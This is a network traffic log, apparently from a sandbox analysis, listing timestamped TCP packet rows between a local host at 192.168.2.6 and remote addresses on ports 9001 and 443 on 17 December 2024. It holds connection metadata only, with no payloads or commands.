Dec 17, 2024 11:49:44.834003925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.834672928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.834718943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.834795952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.835952997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.835994005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.836034060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.837050915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.837066889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.837115049 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.838042974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.838119030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.838190079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.839222908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.839291096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.839298010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.840430975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.840493917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.840497971 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.841514111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.841629028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.841635942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.842663050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.842737913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.842783928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.843805075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.843823910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.843842983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.844922066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.844995022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.845056057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.846005917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.846036911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.846085072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.847393036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.847615004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.847662926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.848282099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.848366022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.848416090 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.849459887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.849515915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.849520922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.870475054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.870623112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.870661020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.870954037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.870994091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.871176958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.872081041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.872126102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.872193098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.877818108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.877929926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.877960920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.878489971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.878504038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.878537893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.879554033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.879661083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.879713058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.880592108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.880723000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.880770922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.881678104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.881733894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.881779909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.884582043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.884598017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.884726048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.885154009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.885256052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.885301113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.886213064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.886225939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.886286020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.909519911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.909626007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.909674883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.949162006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.953973055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.956681013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.956759930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.973068953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.973110914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.973136902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.973157883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.973484039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.973527908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.973591089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.974514961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.974528074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.974575996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.975771904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.975784063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.975827932 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.976598024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.976675987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.976677895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.976794958 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.977754116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.977803946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.977849960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.977886915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.979294062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.979310036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.979358912 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.980081081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.980120897 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.980128050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.980246067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.981188059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.981232882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.981250048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.981323957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.982769012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.982785940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.982831001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.983565092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.983616114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.061985970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.062053919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.069052935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.069118023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.073750019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.076461077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.134661913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.188798904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.311435938 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:45.311547995 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:45.313380957 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:45.313405037 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:45.313672066 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:45.314292908 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:45.318512917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.318612099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.318664074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.319067001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.319184065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.319468021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.320187092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.320308924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.320347071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.321410894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.321522951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.321564913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.322204113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.322362900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.322407007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.323527098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.323602915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.323652029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.324624062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.324702024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.324769020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.325793982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.325808048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.325855970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.326721907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.326845884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.326905966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.327896118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.348737955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.348769903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.348823071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.353586912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.353647947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.353722095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.354253054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.354305983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.354310036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.354590893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.355083942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.355518103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.355566978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.355624914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.357858896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.357933998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.357985973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.358417034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.358469963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.358514071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.358547926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.359332085 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:45.359668970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.359723091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.359755039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.359817028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.360706091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.360754967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.360853910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.362010956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.362056971 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.362097025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.362987041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.363028049 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.363029957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.363059998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.364087105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.364142895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.364201069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.364236116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.365309954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.365360022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.365777969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.365816116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.365875006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.365909100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.366874933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.366915941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.366986036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.367022038 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.367851019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.367901087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.367934942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.367973089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.368952036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.369004011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.369049072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.370166063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.370202065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.370256901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.371227026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.371275902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.371421099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.371469021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.372370005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.372427940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.372445107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.372486115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.373498917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.373574972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.373620033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.373658895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.374675989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.374744892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.374779940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.375185013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.375839949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.375948906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.375967026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.375988960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.376880884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.376945972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.376967907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.377060890 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.378118038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.378190994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.378233910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.378319979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.379134893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.379200935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.379230976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.379276037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.380258083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.380358934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.380395889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.380414963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.381371021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.381453991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.381473064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.381511927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.382530928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.382601023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.382636070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.382688046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.384217978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.384249926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.384293079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.384795904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.384891033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.384903908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.385029078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.385890007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.385957956 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.386044025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.386085033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.387070894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.387130976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.387140989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.387181044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.388293982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.388343096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.388386011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.388431072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.389377117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.389436960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.389482975 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.390414953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.390496016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.390518904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.390537024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.391560078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.391611099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.391664982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.391704082 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.392745018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.392806053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.392822027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.392858982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.393846989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.393893003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.393939018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.394057989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.394962072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.395129919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.395184040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.396085978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.396131992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.396132946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.396168947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.397269011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.397330999 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.397583961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.397631884 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.398583889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.398632050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.398677111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.399580956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.399624109 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.399710894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.399758101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.400645018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.400696039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.400782108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.400883913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.401778936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.401823997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.401830912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.401932001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.402885914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.402925968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.403002977 CET	9001	49784	185.196.220.82	192.168.2.6
